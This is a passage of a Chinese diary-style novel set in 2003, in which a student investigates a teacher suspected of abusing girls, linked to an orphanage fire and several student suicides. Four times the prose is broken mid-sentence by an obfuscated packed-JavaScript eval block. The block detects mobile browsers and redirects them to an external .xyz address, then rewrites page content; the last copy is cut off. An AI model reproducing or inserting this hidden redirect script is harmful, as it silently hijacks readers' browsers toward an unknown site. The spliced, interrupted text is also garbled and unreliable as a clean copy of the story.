;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456732|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她从房间里走出来,手里拿着个袋子,里面装着一些感冒药和退烧药。
“我就留了一盒,给你用的,其它的你给那个同学吧,记得放门口让她来拿,别进去。”她将袋子给我,细心地嘱咐道。
我点了点头,又向她道了谢。
2003年2月1日晴
幸运的是,我第二天去了施宜家给她送了药,施宜吃了之后就退烧了,应该只是常规发烧,并不是肺炎。
在寒假隔离期间,我们每天固定通话十五分钟,互报平安。
有时候什么也不说,按了免提,我在这头做作业,听她在那头絮絮叨叨地说着话。
我什么也不说,只静静地听她讲话,也能令我感到安心。
2003年2月20日晴
学校停课了。
我每天固定去门口的报刊亭买一份报纸,打开电视机收看新闻,这成了我在失序生活里唯一坚持下来的事情。
还好南湾市并没有被波及得很严重,只有零星几个案例,很快就控制住了。
虽然疫情并不严重,政府还是要求我们要待在室内,尽量少去密集场所,物资备足,静待春天的到来。
施宜已经三天没有打电话过来了,我打电话过去,她也是聊两句就说有点事,然后挂断了。
我想去找她。
然而当我打开门的时候,一个意想不到的人出现在了我面前。
是林可欣。
她戴着口罩,不知去了哪,流海全湿透了,一绺一绺地垂在额头前,她的圆眼睛露出可怜的眼神。
我探头看了一眼,外面正在下雨。
“怎么了?”我站在门口,扶住门,问她。
她的眼神不安地乱飘,像无处可依的落叶。
“我能不能借用下你的电话?”她颤抖着灰白的嘴唇说。
我皱了皱眉,刚要拒绝,她就立刻开口。
“就十分钟!我想找施宜!我……我在外面,手机丢了,她的电话号码我也忘了。”
我犹豫了一会,还是点了点头,放她进来。
看着她踉踉跄跄扑向座机的身影,我满腹疑问问不出口。
你为什么要找她?
你又为什么一个人在外面?
手机又为什么丢了?
可是我盯着她的背影,却一个字都问不出口。
我把施宜的电话号码给了她。
林可欣伸出手,按按键的那只苍白的手在微微颤抖,我一眼就看见她手腕露出的疤痕,以及她左手中指上的戒指。
戒指闪着光,似乎有些价值,看起来不像是学生能戴得起的款式。
她并没有叫我回避,所以我也理所当然地站在了她旁边。
电话似乎响了几声就接通了。
接通的那一刻,林可欣的眼睛亮了一下。
“喂……不是……是我……”
“对,我在她家。”她看了我一眼,又急忙补充道,“我在外面。我手机丢了。”
对面说了一些什么,她很快垂下眼:“是。我见了他。”
“可是……”她原本振作起来的那点精神气肉眼可见地萎靡了下去,“我,我觉得他不是那种人。我想,再试试。”
“对不起。”她抿了抿唇,“我还是放不下。”
“嗯,嗯,可是……”
接下来三分钟,她把“对不起”和“可是”这两个词颠来倒去地说了十多遍,我在旁边听得百无聊赖,倚着墙开始抠手指。
漫长的通话终于结束了。
她站起身来,没有立刻离开,而是呆呆地盯着座机发呆。
我没有催促她。
人总是需要一点时间和空间的。
过了一分钟,她终于找回了一点神智,往我这边看来。
“你好了?”我问。
她点了点头,然后说:“我要去施宜那住一晚上。”
8. 毕晶晶
林可欣告诉我,她在外面买东西,想打公用电话找施宜,发现忘记了施宜的电话号码,外面突然下起了雨,她也没带伞,只能淋雨。
我问她为什么不回家,她支支吾吾了半天,才回答,她是离家出走的。
我想问她为什么要离家出走,然而看到她手腕残留的伤痕,我又将我的疑问咽了下去。
有些事情,还是不要揭露的好。
我问她那住一天明天有什么打算吗?
她愣了一下,飞快地瞥了我一眼,犹豫了一会儿说她明天应该回家。
我看她浑身湿透,像淋了一场大雨,给她拿来了浴巾,让她擦一擦头发,然后去洗个澡换声衣服。
林可欣接过我手里的浴巾,抬头看着我,认真地说了声谢谢。
我看见她从自己的右手中指上摘下了那枚戒指,小心翼翼地放在了桌上。
许是我多看了那戒指几眼,林可欣注意到了,她抬起眼对我笑了,说这是别人送的。
我当然不至于八卦那个“别人”是谁,所以我也礼貌地笑了笑。
“他说这是他妈妈留给他的。”林可欣的目光滑到戒指之上,留恋地看了那戒指一眼。
那戒指的款式确实也不是年轻人的款。我心忖。
趁她在淋浴的时候,我拨打了施宜的电话。
我问她有关于林可欣的事情。
施宜只在电话里简单地和我说,林可欣最近经常出入林常雄的办公室,而林常雄据说手脚不干净,经常骚扰女生。
她怀疑林常雄胁迫了林可欣。
我问她为什么,电话那头只是沉默了会,然后说,因为她知道。
我握紧了电话筒。
我和施宜道了别,就匆匆挂了电话。
林可欣正好从卫生间里出来。
“谢谢你。”林可欣有些拘谨地向我道歉,她发梢的水珠不断滴下。
我给她倒了杯热水。
“喝点水,防止感冒。”我把水递给她,“现在这个时候,感冒可是件麻烦事。”
林可欣嗯了一声,然后接过水杯,小口小口喝了起来。
“我…我天天和他们待一块…”林可欣喝了半杯水,眼眸低垂,看着地面,“今天和他们吵了一架…”
我没说话。
也是,同一屋檐下的人天天抬头不见低头见的,矛盾只会越来越突出。
林可欣接着又向我要了座机拨打电话,这次她的声音甚至比上次接施宜的电话还要小声,几乎到了呢喃的程度。
“嗯…”林可欣的一只手指不停地绕着电话线,“明天…对…”
“好…”
她挂了电话,看向我。
“我雨小一点就走,不打扰你。”
她坐在沙发边缘,小心翼翼地拿眼觑着我。
我的心泛起了微妙的涟漪。
“没事。”我看了一眼窗外连绵不断的雨,“这雨确实下得有点大,雨小点我借你一把伞。”
过了几分钟,雨势小了些,林可欣拿起伞,向我道别。
我站在窗户边,看着她的身影匆匆穿过落满槐花的道路,往校门外走去。
2003年2月25日雨
转眼已经二月末了。
春寒料峭,空气里凝着冷意,天气开始进入阴晴不定的阶段,忽而阳光灿烂,忽而阴雨连绵,气温也忽上忽下。
我窝在家里已经几天了,感觉整个人从里到外散发着发霉的潮气,连日的阴雨让我的心情也如潮湿的青苔,阴郁的情绪连绵不绝,爬满了半个心脏。
今天去找林姨,林姨看起来也很疲惫,她和我说好像很快就要复课了。
复课了就好,我好久没见我的朋友们了。
2003年3月1日小雨
三月初,从我宿舍的窗户看出去,能看见学校操场边上的几棵桃花,迎着连绵细雨,长出了一片烂漫云霞。
晚上,我在宿舍闲着无聊,就开始收拾起了房间,无意中翻出了我从图书馆借来的报纸。
我把那几张报纸拿出来细细翻了一下,突然一个标题吸引了我的注意。
那是在红树林孤儿院失火案之后的一个月刊登的新闻。
新闻的标题写着:“红树林孤儿院院长疑似被曝光有□□幼女的行为。”
周遭的声音忽然安静下来,连雨声都慢了下来。
我听见我的心脏在胸腔中砰砰跳动。
红树林孤儿院院长林庆生于失火案半年前曾被一名杜姓女教师举报性骚扰孤儿院女童,据悉,法院还在走程序调查中。
林庆生于失火案中死亡,警方已经勘查过现场痕迹,调查出林庆生悉猝死,并未有任何非正常死亡迹象,鉴定为意外死亡。
林庆生家属拒绝就被控告性侵此事发表任何意见。称死者已逝,逝者为大。
此外,警方已经查清失火案起因。据孤儿院教师称,失火当天晚上有人偷偷潜入孤儿院偷东西,被发现后,该小偷逃至厨房,翻窗逃跑。
该教师正要去追,就听见有人喊失火,便赶忙去报警救火。
警方在孤儿院烧毁最严重的西侧杂物间发现了使用过的火柴,判断起因是有人蓄意点燃火柴纵火。
怀疑纵火者和偷拿东西的人是团伙作案,声东击西。
此时,一声春雷在远方闷声响起,云层闪过一道闪电,划破了混沌夜空。
我往窗外看,窗户边的梧桐树被雨拍打得枝叶乱颤,映在玻璃窗上如重重鬼影。
我折叠起报纸,目光却落在报纸上那张黑白图片上。
好像有个人影,很像我认识的某人。
我深吸一口气,然后看向那张图片。
图片拍摄的是林庆生的葬礼,一行人皆穿着黑色丧服,应该豆薯林庆生的家属。
我的目光从脸色苍白,头发凌乱的中年妇女脸上扫过去,定格在了她旁边的那个沉默的男人身上。
男人看起来很年轻,应该二三十左右,理着平头,身穿丧服,看起来温文尔雅。
比起旁边红着眼圈,微微有些驼背的女人,他腰背挺直,眼眸微垂,眉眼间颇有一股傲气在。
我盯着他看了片刻,只觉得眼前有些晕眩。
他的面容与我记忆中的某人重合了。
他不是别人,就是我的班主任,林常雄。
又一声惊雷响起。
闪电乍然降临,劈开混沌的黑夜。
2003年3月5日雨
根据我所搜集到的信息,汇总如下:
红树林孤儿院于1995年发生火灾,院长林庆生在火灾前心脏病发作猝死于办公室中,被救出来已经死亡。
引起火灾的原因是有人往孤儿院西侧杂物间点了根火柴,杂物间的杂物众多,可燃物充分,一下就燃到了孤儿院里。
据当时的教师称,有人在起火当天下午潜入孤儿院偷东西。(偷东西与纵火是否有关?)
院长于半年前被某杜姓女教师控告性侵孤儿院女童。(杜某?)(性侵是否属实?)
施宜,邓娇,苏晓雯应该都是孤儿院的孩子,她们年龄相差不多,应该关系比较亲密。
至于林常雄,他居然就是当年孤儿院院长的儿子。
这也太巧了吧…
难道说…
我心中涌起一阵可怕的猜测。
我必须要把这件事查到底。
我看着窗外晦暗不明,风雨飘摇中的南湾中学教学楼,暗自下定决心道。
2003年3月10日阴转小雨
学校通知明天返校。
我今天下午去了趟图书馆,这次我要去翻找有关红树林孤儿院的全部资料。
这次,我不仅查96年之前的,我还要查之后的。
我从正午太阳高悬查到晚上月上柳梢,揉了揉酸痛的胳膊,总算找到了一些信息。
令我惊讶的是,在失火案三年之后,也就是98年,红树林孤儿院再次被曝光了一桩秘事。
是一位叫毕晶晶的记者在走访调查中发现,红树林孤儿院的许多孤儿竟然全都是附近村庄的弃婴,而且这些弃婴多为女孩,村民们知道有孤儿院的存在,会故意将女婴遗弃在附近,被孤儿院捡走收养。这些女婴们被孤儿院抚养长大,到了十六七岁,她们的家人就会赶来收养或者匆匆“认亲”,这些被认回去的少女本来欢欣雀跃,可未曾想回来等待她们的是一桩连新郎都不认识的婚事。
也就是说,她们的家人不用负起任何养育责任,就可以轻而易举地榨取女儿的婚育价值。
这是一桩赤裸裸的吃女人的买卖。
据报道称,毕晶晶路过其中一个村庄,撞见某个十三岁的女孩求助她,说家里人要把她“卖”了,她把这个女孩带回了家,仔细询问,第二天再次去了这个村庄,假装八卦走访调查了半个月,才深挖出了这段不为人知的往事。
图书馆里还算暖和,我却看得浑身血液发冷,握着报纸的手在止不住地颤抖。
我想为那些素未谋面,但命运相连的姐妹同胞们大哭一场,然而此刻连眼泪都显得廉价。
金字塔尖顶上是文明的光辉,金字塔尖底是无数女人的血泪和白骨。
除此之外我还发现,当时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456733|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我拿回家读到的那篇红树林孤儿院院长疑似性侵幼女的案件报道,署名也是毕晶晶。
图书馆马上就要闭馆了,我上次借的报纸还没还,我没法借新的,我找到了报纸上写的联系电话,记了下来。
2003年3月11日晴
学校门口有几株巨大的木棉树,早春三月,木棉就已经开花,远远看去,枝桠顶端飞起一片火红,如云霞,如火焰,如赤练,烧得半边天都通红。
学校正式复课了。
我打电话给了报社,说有线索要提供给毕晶晶记者,以这个为理由索要到了毕晶晶的电话号码。
我攥着手里的电话号码,低下头,一个一个地按下电话按钮。
电话接通的那一刻,我听见我的心跳如鼓。
“喂?”那头传来一个温柔的女声,“请问哪位?”
“你好,…我认识当时红树林孤儿院的朋友…我有一个重要线索,我可以见见您吗?”我紧张得声音都在颤抖。
毕晶晶似乎沉默了一下,接着她问了我的名字和身份。
我都如实告诉她。
接着,她和我约在周六下午三点南湾中学门口的一家肯德基见面。
正要挂电话的时候,我听见电话那头传来一声年轻女孩的声音。
“晶晶阿姨!我回来了!”
我正觉得这声音似乎有点耳熟,那头毕晶晶就挂了电话。
2003年3月15日晴
我在下午的时候和毕晶晶见了面。
三点的肯德基没什么人,我们找了个相对僻静的角落,相对而坐。
毕晶晶大约四十左右,留着一头干练的黑发,然而头顶已然生出几缕白发,令她看上去有些憔悴。
她虽然面容疲惫,但浑身散发着一股职业女性的精明和干练的气质。
“小朋友,你找我有什么事?”她径直问我。
我直接开门见山地说明了来意。
我说我想举报我们学校的林主任,也就是当年林常雄的儿子,疑似和未成年女学生发生关系。
有没有不重要,先举报了再说。
没有正好还他一个清白。
她直接呆住了,眨了眨眼,好半天没缓过神。
“你有实际证据吗?”她皱眉,“这个指控罪名可不小啊。”
我垂眸,拿出我这几天收集的“证据”。
依然是一份报纸。
我从旧书店和废品站那里淘来的。
报纸上面写着:“南湾中学某高三女生跳楼自杀。”
这位高三女生是高三三班,我查过,当年就是林常雄当班主任的班级。
时间是1998年6月。
这位女生死在高考前一周。
没有遗书。
这位女生学□□,平时游手好闲,还把头发染成黄色,像女混混一样,一时间传闻迭起,有人说她是洗头妹,有人说她被校外恶霸威胁,有人说她觉得考不上高中就自杀了。
接着,我又拿出一份报纸,上面标题写着:“南湾中学某高二女生在宿舍吞安眠药自杀。”
2000年3月。
第三份报纸。
“南湾中学时隔两月又出自杀案:高二某女生跳河自杀。”
2000年5月。
其中一位自杀未遂。
时间是2000年,相隔不过两月。
据说跳河的女生在家里留下了封遗书,然而似乎是为了保护未成年人隐私,遗书内容并未公开。
自杀未遂的女生很快就退学了,再无音讯。
巧的是,当年这两位自杀的女生,都在林常雄任课的班级。
她们成绩优异,本可以上一个好的大学,前途光明无量。
可是。
大家都说是学习压力太大。
学校为此还减轻了课业负担。
我为了找到这两份证据,花了整整三天,我几乎跑遍了全城的每个书店,翻找了所有的报纸,第一份报纸还是我帮一位收废品的奶奶捡东西,无意看到的。
我要给奶奶钱,她不要,她以为我要卖钱,多塞了几份报纸给我。
在她多塞的那几份报纸中,我看见了第二份报纸的标题。
我买下了她所有的报纸,但她执意不收我钱。
“好好读书,考个好大学。”奶奶摆摆手,骑着三轮车走了。
我手里捏着一叠厚厚的报纸,早春微凉的风拂过我的脸颊,像是眼泪的触感。
我想我可能考不了大学了,奶奶。
我望着她的背影,心里涌上一阵悲凉。
9. 林姨
2003年3月20日雨
今天毕晶晶主动给我打了电话。
她在电话那头说,我的这些证据都算不上是实际证据,这只能证明林常雄和这些女生是师生关系,也许只是巧合而已。
我说如果亲眼见到有女生频繁出入林常雄办公室呢?
毕晶晶在那头轻轻叹了口气,她说孩子,虽说眼见为实,可是,人是会说谎的,除非有实质性指向的证据。
她顿了顿又说,我是非常相信你的,可是……
我知道她想说什么。
我垂下眸,问她有没有杜老师的联系方式。
那天在面馆,我问她认不认识杜老师,她先是有些惊讶,接着点了点头。
她告诉我杜老师叫杜语,是当时孤儿院的一名美术教师。
然而无论我怎么追问,她都不肯再说出杜语的联系方式。
电话那头是长久的沉默,我甚至可以听见她浅浅的呼吸声。
随后她叹道:“她——去世了。”
我僵住了。
“什么时候?怎么去世的?”我的声线再次颤抖起来。
“五年前吧,自杀,在家里用一根绳子上吊了。”她的声音低低地,仿佛在耳边呢喃。
孩子。她在电话那头一叠声地叫我。
她说,也许那间办公室里有监控,也许你可以去看看。
如果做不到,千万别强求。
如果需要我的帮助,随时找我。
别冒险。
她最后这样嘱咐我。
我挂掉了电话,好久没有回过神。
2003年3月21日雨
我最近总是坐立不安,心里的烦躁和焦虑愈发强烈,仿佛梅雨季节涨潮的河水,控制不住地往外涌。
整个南方都进入了梅雨时节。
这是我最讨厌的天气,回南天。
雨一直连绵不断地下,整个城市阴沉沉,湿漉漉的,像怎么晾也晾不干的抹布。
她要证据,可是我怎么给她呢?
我想放弃。
可是我想起了施宜。
想起了红树林孤儿院的那些女孩。
想起了林可欣。
想起那天打开门的时候,她看向我的眼神。
我看见了,我听见了。
所以我不能装作看不见,听不见。
那天放学后,我在学校附近无意识地闲逛,在我回过神的时候,我已经站在一家数码电子用品店里了。
店员过来问我要什么。
我指了指玻璃柜台里的相机,问他这要多少。
我忘记他给了什么价格。
总之我听了之后就立刻放弃了。
我几乎把所有相机的价格都问了个遍,我所能买到的,没有。
店员以为我在找茬,有些不耐烦起来。
我失魂落魄地走出店门,看着外面不断往下坠的雨幕,只想冲进雨里和它一起哭一场。
我站在班级的走廊上,看向对面的办公楼。
二楼有个连廊,可以通往对面的办公楼。
我看见林可欣背着书包,不断来回徘徊于走廊上,像在犹豫,她长发披着,看不清脸上的表情。
那天我借着去帮课代表送作业的名义进到了林常雄的办公室,发现办公室并没有装有摄像头。
也是,谨慎的人怎么可能留下什么证据。
至此,所有线索都断了。
我走在去宿舍的路上,槐花落了满地,洁白的带着露珠的花瓣飞舞着,最终坠落,滚落到泥地里,化作花泥,灵魂滋养着树,来年再次成为枝头盛放的花。
等下。
我突然想到那张报纸上的报道。
也许并不是全没有证据。
我回到宿舍,迅速地找出那张最后一个跳河自杀女生的报纸。
上面写着:高二南湾中学小娟(化名)于5月12日周五放学后失踪,因为小娟是留守儿童,家中无人,父母曾在周六拨过一通电话,没人接,父母以为是孩子出去玩了,没在意。直到失踪第三日,也就是周一,班主任发现小娟未来上课,也没有请假,给家长打了电话,家长才发现小娟失踪了。
家长从外地赶回来,发现家中留有一封遗书。
警察根据最后目击者,判断小娟是往附近的河边走了,应该是跳河自杀。
警察找了三天尸体,最终在河的下游找到了。
最后定案为自杀。
我在遗书下面轻轻划了个线。
遗书的内容很重要。
2003年3月22日小雨
我再次打电话给毕晶晶,约她出来。
我把自己的判断告诉了她,并问她能不能找到当时这位受害者的家属。
毕晶晶犹豫了下,看了眼报纸,说这个新闻是当时她的一个同事做的,同事现在已离职,不知道还能不能找得到。不过一定会尽全力帮我找。
我看见她眼下乌青,心想她的本职工作本就繁忙,自己这么麻烦她是不是……
我说道:“如果您没时间,也可以不帮我查的。我给您添了太多的麻烦。”
她的眼中闪过一丝惊愕,紧接着,她伸出手,抓住我的手。
“不会的。”她笑了笑,笑容却含着些许苦楚,“我本来也在查这些的。要多亏你,给我提供了很多线索。”
她顿了顿,然后垂下眼睛,似乎在竭力掩盖什么情绪:“我也有个女儿。”
我沉默着,只是略微用了点力气回握住了她的手。
我所能做的很少,也许只有这样回握的瞬间,能传递那么一点力量。
她冲我笑了笑,接着以闲聊的方式岔开了话题。
“你为什么一直戴着口罩?最近好像没什么肺炎了。”
我弯了弯眼睛:“因为我的脸过敏,正在治疗。”
不过我并没有说谎,我确实正在治疗,从我看了医生那天起,我都没吃水果,一直在吃药,脸上那些可怕的红疹已经消退了大半。
其实早已经可以摘下口罩了。
只是,我现在不摘口罩,还有其它原因。
我们在肯德基门口道别,她给我买了一份儿童套餐,让我带回去吃。
分别的时候,她站在原地,定定地看向我,和我说,孩子,你现在高三,学业为重,认真读书,考一个好的大学,去向更远方和更高处,别放弃。
我点了点头。
2003年3月25日小雨
施宜今天放学主动在楼梯口等我,一看见我,就将我拦下。
你最近在忙什么?她不由分说地拉着我的手,问我。
我笑了笑:“没在忙什么啊,忙学习呢。”
施宜盯着我的眼睛看了我半天,然后笃定地说:“你说谎。”
好吧,果然什么也逃不开她的眼睛。
我看了看后面的苏晓雯和邓娇,低声问能不能单独谈。
还没等施宜说什么,苏晓雯翻了个白眼,就拉起邓娇离开了,邓娇一脸懵,还不知道发生了什么。
我开门见山地说:“我在调查红树林孤儿院的事情。”
施宜完全愣住了,过了一会,她才眨了眨眼。
“红树林……孤儿院?”
“你也在查对吧?”我盯着她。
“你想知道什么,不能直接来问我吗?”施宜显得非常恼怒,“你是觉得我会不告诉你吗?”
“那你告诉我吧。”我直直望向她的双眼,“你告诉我,孤儿院失火的那天,到底发生了什么?”
果然,施宜的眼神开始变得飘忽起来。
“这个……我现在还不能告诉你。”她垂下眼,“等以后,再告诉你,好吗?”
我看着她,她也看着我,我们在空荡的走廊上安静地对视。
“你相信我吗?”她的眼睛第一次流露出了被抛弃的恐惧。
她的眼睛在求助。
“相信。”我没有片刻犹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456734|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
豫。
她松了一口气。
“林常雄是怎么回事?”我继续问。
“他的事情很多人其实都知道。不是什么新鲜事。他不是我们班班主任,教我们数学,送作业的时候,讲题的时候,他会很暧昧地把手撑在旁边,好像罩着你的身体,或者摸摸你的脸,碰碰你的肩膀,可是大家都不以为意,觉得这是很正常,不过是长辈对小辈表达亲昵。可是我——”施宜顿了顿,“我总觉得不对劲。”
“后来有一次中午放学,他把我叫到办公室,忽然就把我按在桌子上,我吓坏了,拳打脚踢,就跑了。”施宜说得很慢,好像说出这话对她来说过于坚难,需要多次斟酌字词,才能尽量不那么痛苦。
就好像那些话,是从肺里的伤口里挤出来的血滴,每一个字都带着血气。
我没说话,只是默默拥抱了她。
“因为他——和我们院长太像了。”她用手臂回抱我,慢慢地说出最后一句话。
我闭上了眼睛。
2003年3月28日阴有小雨
今天林姨给我送饭的时候,突然叫住我,问我想不想考大学。
我愣住了。
当初说是我先当旁听生,相当于就在旁边听课,至于学籍什么的,都不在南湾中学。
因为我这种来历不明的孤儿,别说学籍了,我们连身份都存疑。
所以当时我就当在这里打打工,顺便可以读点书,不至于让自己变成文盲。
上大学,是我一开始压根就没想过的事情。
可是林姨突然这么问,让我十分诧异。
我看着她,仿佛第一次认识眼前这个矮小的,面容沧桑的女人。
林姨在十八岁就结了婚,有了个女儿,丈夫对她不冷不热,婆婆让她再生一个女儿,可她怎么样都怀不上,后面去医院检查,发现子宫里长了个瘤,需要切除,手术后,丈夫与她离婚,带走了女儿。
她觉得丈夫经济条件好,也就答应了。她每年都去看女儿,直到有一天,她得知丈夫再婚又有了儿子,她上门想要回自己的女儿,被丈夫拒之门外。
离婚四年后,女儿在上下学路上出车祸死亡。
因为当天丈夫一家去医院陪儿子打疫苗,谁都没记起要去接一年级下课的女儿。
女儿等得着急,自己回家,结果过马路的时候被失控的车辆撞了。
她说起这件事的时候,齿缝间都带着恨意。
有些恨,是无法消除的。
无论是过了三年,五年,还是十年。
它只会像颗固执的种子,在你的心里扎根,吸食你的血肉,不断膨大,直到与你血脉相连,你切断了它,就是切断了你生活的意义。
她说我很像她女儿。
她看到我的那双眼睛的那一刻,就觉得我很像她的女儿。
可我觉得很愧疚。
我似乎利用了这个女人对她女儿的母爱。
我犹豫了下,然后轻轻摇了摇头。
考大学对我来说,更像一个遥远的梦想,对于我这种习惯接受失去的人来说,我不敢握紧它,唯恐它从指缝里流失。
“为什么?”林姨问我,“你班主任说你成绩很不错的,还夸你是天才,因为你没什么基础的,能学成这样非常厉害。”
“上大学太麻烦了,林姨。而且,我没有学籍,怎么上学?我连参加高考都没资格。”
听我这么说,林姨也露出了迷茫的神色。
“学籍这事我有听你班主任说过…”林姨忽然支吾起来,“你班主任说,这个虽然有点难办,但也不是不能办…”
我警惕起来。
林常雄该不会要拿这做文章吧。
我摇了摇头,截住了她的话头。
“再说吧。”
我都这么说了,林姨也没再坚持,她看了我一眼,欲言又止,还是转身走了。
我关了门,有点头疼。
怎么一个两个都想劝我考大学啊?
10. 李思娟
2003年4月2日晴转雨
毕晶晶给我打了电话,说她已经联系上了前同事,还好她有整理自己报道,分门别类备份的习惯,她在书房里找出了当时的全部资料。
跳河的女生是高二文科三班的,名叫李思婷,家长都在外地打工,是留守儿童,她家里还有一个弟弟和妹妹,妹妹叫李思娟,在寄宿学校上学,弟弟李耀仁跟着父母在外地。
前同事工作的时候,为了报道这个事件,把自杀女生的亲属所有的联系方式都存下来了,所以很好找。
毕晶晶说,她已经提前联系过了家属,他们正好最近在,同意上门询问一些问题。
我大喜过望,连声谢过毕晶晶。
时间约在了这周五放学之后。
2003年4月4日阴
周五放学后,我和毕晶晶约在校门口碰头,我和她一起前往李思婷的父母家。
李思婷的父亲名叫李智勇,母亲名叫毛春娣,他们家住在老城区的一栋自建房里。
早期的自建房都建立在城中村地带,违章建筑密集如蜂巢,密密麻麻地长满了整个区域,房子之间的距离近得伸手就可以握手。
李思婷家就住在其中一栋矮小狭窄的楼房的二层,我们从一楼上去,每层都有十几到二十个房间,大部分都是出租给外地人,还有一部分是本地人租住,楼道里鱼龙混杂,一路走过去,许多赤着上身的男人向我们瞥来不怀好意的目光。
毕晶晶有意无意地用她的身体挡住了我。
李智勇住在203,就在靠近楼梯的那间。
李智勇操着一口熟练的本地口音,他的脸庞晒得黝黑,眉间皱成一道深刻的川字沟壑。
毛春娣站在旁边,她围着围裙,拘谨地问我们好,然后让我们坐下。
我们进到客厅的时候,原本坐在沙发上的女孩立刻站了起来,她大约十五六岁,很瘦,下巴尖尖的,黑发利落地在脑后扎成马尾辫。
一看到我们,她的黑眼睛流露出一丝警惕。
这应该就是李思婷的妹妹李思娟。
“囡囡,先进去。”毛春娣和女孩摆了摆手。
李思娟点点头,收拾了散落在桌上的课本和本子,经过我们的时候,她飞快地看了我们一眼,就走了。
毕晶晶坐了下来,开门见山地询问他们有关李思婷的自杀案信息。
李智勇直接点了一根烟,顿时狭小的室内烟雾缭绕,他抽了一口烟,然后看了我们一眼。
“那天就是……孩子他妈在周六早上打了一个电话,她没接,我们就以为出去玩了,那孩子经常出去野啊,不着家的。”
毛春娣在李智勇说的时候,眉毛微微动了一下。
旁边的毕晶晶问:“所以就是周六早上打了一个电话,没再打过了?”
“对啊,那——”
毕晶晶打断他的话:“思婷妈妈,是你打电话,你应该记得比较清楚。”
思婷妈妈这四个字似乎触动到了她,毛春娣立刻坐直了,她脸上的神色肉眼可见地开始慌张起来,眼神也开始飘忽。
“那,那个时候,是周六早上打了一个,她没接,我那时候忙,觉得孩子肯定会给我们回电,但一直到周日,都没给我打电话,我周日又打一个,还是没人接,我就和孩子爸说,有点担心,孩子爸说没事——”
李智勇突然重重地咳嗽了一声。
毛春娣像被人突然掐住了脖子,声音戛然而止。
我看向了毕晶晶,她笑了笑:“所以您是说,周末两天您都给她打了电话,只是都没人接,是吗?”
毛春娣唯唯诺诺地点了点头:“对,对,对。”
随后,她又好像想起什么似的,突兀地道:“其实,思婷这孩子她很乖很懂事的,我们经常不在家,就她一个人,她一个人煮饭,上学,学习方面从来没让我操过心,她,她成绩一直很好……”
她就像打开了什么话匣子似的,絮絮叨叨地说了一堆,从密集的话里提取到的信息,翻来覆去的都是母亲对女儿的愧疚和伤痛。
从前我居无定所的时候,会经常去书店,因为书店有椅子可以免费坐,我往往一坐就是一下午,随便那几本书来看,我就这样陆陆续续地读了许多杂七杂八的书。
有本书上曾写到:儿童失踪案中,最先发现孩子失踪的往往都是母亲,走不出来的往往也都是母亲居多,很多母亲会因为自己没看好孩子而愧疚一辈子,她们活在深深的愧疚中,根本无法正常生活。
我们都没打断,就默默看着她。
大概是从没有人好好听完她讲这么多,毛春娣像是压抑了许久,说到最后,她忍不住哽咽出声。
“她最后一通电话和我说,她说,妈,我给你买了包风湿贴,很好用,等你回来了,我给你试试。”毛春娣浑浊的眼睛里很不体面地淌出一滴泪水,“我到现在都没收到那包风湿贴。”
我咬紧了后槽牙,一言不发。
旁边的李智勇终于不耐烦地打断了她:“好了!你那风湿的老毛病贴几个能好得了吗?别说那么多了,人家记者都烦了。”
毕晶晶在旁边适时出声:“不烦,没事的。”
“就这样吧,记者,我们该说的也都说了,真没什么好说的,事情都过去那么久了,该继续生活的还得继续生活不是?”李智勇把烟头按灭,看向毕晶晶。
“您说得是。”毕晶晶点了点头,依然微笑着,“我们也是报社要求,做个青少年心理健康的专题,所以才来找您的。”
“所以,我这边再问一下,您之前说有见过孩子的遗书,可否让我看一眼遗书?”毕晶晶从包里拿出一个信封,放在桌上推了过去。
我睁大了眼睛。
同时惊讶的还有旁边的毛春娣,她微张嘴,嘴唇颤抖着,连脸色看起来也比之更惨白了几分。
李智勇没接,他看了眼那封信封,嘴唇紧紧抿着。
最后他摇了摇头:“我都说了,没有什么遗书,那是孩子她妈自己说错了。”
看他态度这么强硬,我和毕晶晶对视一眼,只能起身离开。
毛春娣一直目送我们离开,她那双眼睛含着泪,似乎要说些什么,最终还是没说出来。
可那一双属于母亲的眼睛,已经透露了太多的信息了。
我们走出房间,我看着眼前长长的,昏暗的走廊,突然说:“一定有遗书。”
毕晶晶停住了脚步,看着我:“你为什么这么确定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 